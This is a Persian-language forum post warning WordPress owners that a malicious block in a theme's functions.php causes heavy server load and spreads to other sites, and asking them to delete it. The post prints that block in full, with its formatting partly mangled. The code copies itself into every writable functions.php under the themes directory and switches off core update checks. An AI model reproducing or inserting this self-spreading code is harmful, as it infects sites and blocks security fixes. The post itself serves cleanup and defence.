نمایش نتایج: از شماره 1 تا 8 , از مجموع 8

موضوع: کد مخرب وردپرس و لود بالای سایت

Threaded View

پست قبلی پست قبلی   پست بعدی پست بعدی
  1. #1
    عضو دائم sazsaz آواتار ها
    تاریخ عضویت
    Aug 2011
    محل سکونت
    بندر گناوه
    نوشته ها
    1,123
    تشکر تشکر کرده 
    296
    تشکر تشکر شده 
    1,265
    تشکر شده در
    861 پست

    پیش فرض کد مخرب وردپرس و لود بالای سایت

    دوستان عزیز سلام
    ممکن است سایت شما فشاری بالا بر روی سرور آورده و چند باز نیز از سمت سرور بسته شده باشد
    یکی از دلایلی که این فشار بیش از حد به سرور شما می آید کد بسیار مخربی است که در زیر گذاشته شده است
    لطفا functions.php قالب سایت خود را باز کرده و کد زیر اگر وجود دارد پاک کنید
    کد:
    کد PHP:
    <?php
    function _checkactive_widgets(){
        
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
        
    $output=strip_tags($output$allowed);
        
    $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
        if (
    is_array($direst)){
            foreach (
    $direst as $item){
                if (
    is_writable($item)){
                    
    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
                    
    $cont=file_get_contents($item);
                    if (
    stripos($cont,$ftion) === false){
                        
    $comaar=stripossubstr($cont,-20),"?".">") !== false "" "?".">";
                        
    $output .= $before "Not found" $after;
                        if (
    stripossubstr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
                        
    $output=rtrim($output"\n\t");  fputs($f=fopen($item,"w+"),$cont $comaar "\n" .$widget);fclose($f);                 
                        
    $output .= ($isshowdots && $ellipsis) ? "..." "";
                    }
                }
            }
        }
        return 
    $output;
    }
    function 
    _get_allwidgets_cont($wids,$items=array()){
        
    $places=array_shift($wids);
        if(
    substr($places,-1) == "/"){
            
    $places=substr($places,0,-1);
        }
        if(!
    file_exists($places) || !is_dir($places)){
            return 
    false;
        }elseif(
    is_readable($places)){
            
    $elems=scandir($places);
            foreach (
    $elems as $elem){
                if (
    $elem != "." && $elem != ".."){
                    if (
    is_dir($places "/" $elem)){
                        
    $wids[]=$places "/" $elem;
                    } elseif (
    is_file($places "/" $elem)&& 
                        
    $elem == substr(__FILE__,-13)){
                        
    $items[]=$places "/" $elem;}
                    }
                }
        }else{
            return 
    false;    
        }
        if (
    sizeof($wids) > 0){
            return 
    _get_allwidgets_cont($wids,$items);
        } else {
            return 
    $items;
        }
    }
    if(!
    function_exists("stripos")){ 
        function 
    stripos(  $str$needle$offset 0  ){ 
            return 
    strpos(  strtolower$str ), strtolower$needle ), $offset  ); 
        }
    }

    if(!
    function_exists("strripos")){ 
        function 
    strripos(  $haystack$needle$offset 0  ) { 
            if(  !
    is_string$needle )  )$needle chr(  intval$needle )  ); 
            if(  
    $offset 0  ){ 
                
    $temp_cut strrev(  substr$haystack0abs($offset) )  ); 
            } 
            else{ 
                
    $temp_cut strrev(    substr(   $haystack0max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
            } 
            if(   (  
    $found stripos$temp_cutstrrev($needle) )  ) === FALSE   )return FALSE
            
    $pos = (   strlen(  $haystack  ) - (  $found $offset strlen$needle )  )   ); 
            return 
    $pos
        }
    }
    if(!
    function_exists("scandir")){ 
        function 
    scandir($dir,$listDirectories=false$skipDots=true) {
            
    $dirArray = array();
            if (
    $handle opendir($dir)) {
                while (
    false !== ($file readdir($handle))) {
                    if ((
    $file != "." && $file != "..") || $skipDots == true) {
                        if(
    $listDirectories == false) { if(is_dir($file)) { continue; } }
                        
    array_push($dirArray,basename($file));
                    }
                }
                
    closedir($handle);
            }
            return 
    $dirArray;
        }
    }
    add_action("admin_head""_checkactive_widgets");

    add_action("init""_getprepare_widget");

    function 
    __popular_posts($no_posts=6$before="<li>"$after="</li>"$show_pass_post=false$duration="") {
        global 
    $wpdb;
        
    $request="SELECT ID, post_title,  COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM  $wpdb->posts$wpdb->comments";
        
    $request .= " WHERE comment_approved="1" AND  $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND  post_status="publish"";
        if(!
    $show_pass_post$request .= " AND post_password =""";
        if(
    $duration !="") { 
            
    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
        }
        
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
        
    $posts=$wpdb->get_results($request);
        
    $output="";
        if (
    $posts) {
            foreach (
    $posts as $post) {
                
    $post_title=stripslashes($post->post_title);
                
    $comment_count=$post->comment_count;
                
    $permalink=get_permalink($post->ID);
                
    $output .= $before " <a href="" . $permalink . ""  title="" . $post_title."">" $post_title "</a> " $after;
            }
        } else {
            
    $output .= $before "None found" $after;
        }
        return  
    $output;


    function 
    short_title(){
     
    $chars_limit=20;
     
    $text=get_the_title();
     
    $chars_len strlen($text);
     
    $stext=mb_substr($text,0,$chars_limit,"utf-8");
     if(
    $chars_len $chars_limit){
     echo 
    $stext."...";
     }else{
     echo 
    $text;
     }
    }

    function 
    new_excerpt_more$more ) {
        return 
    '...';
    }
    add_filter('excerpt_more''new_excerpt_more');

    function 
    custom_excerpt_length$length ) {
        return 
    30;
    }
    add_filter'excerpt_length''custom_excerpt_length'999 );

    // Remove Width and Height Attributes From Inserted Images
    add_filter'post_thumbnail_html''remove_width_attribute'10 );
    add_filter'image_send_to_editor''remove_width_attribute'10 );

    function 
    remove_width_attribute$html ) {
       
    $html preg_replace'/(width|height)="\d*"\s/'""$html );
       return 
    $html;
    }

    add_filter'pre_site_transient_update_core'create_function'$a'"return null;" ) );


    @
    ini_set'upload_max_size' '64M' );
    @
    ini_set'post_max_size''64M');
    @
    ini_set'max_execution_time''300' );

    ?>
    لازم به ذکر است که این کد بطور وحشتناک تکثیر می گردد و اگر یک سایت این مشکل را داشته باشد به بقیه سایت ها نیز سرایت می کند

    منبع : انجمن وردپرس ایرانی

  2. تعداد تشکر ها ازsazsaz به دلیل پست مفید


اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •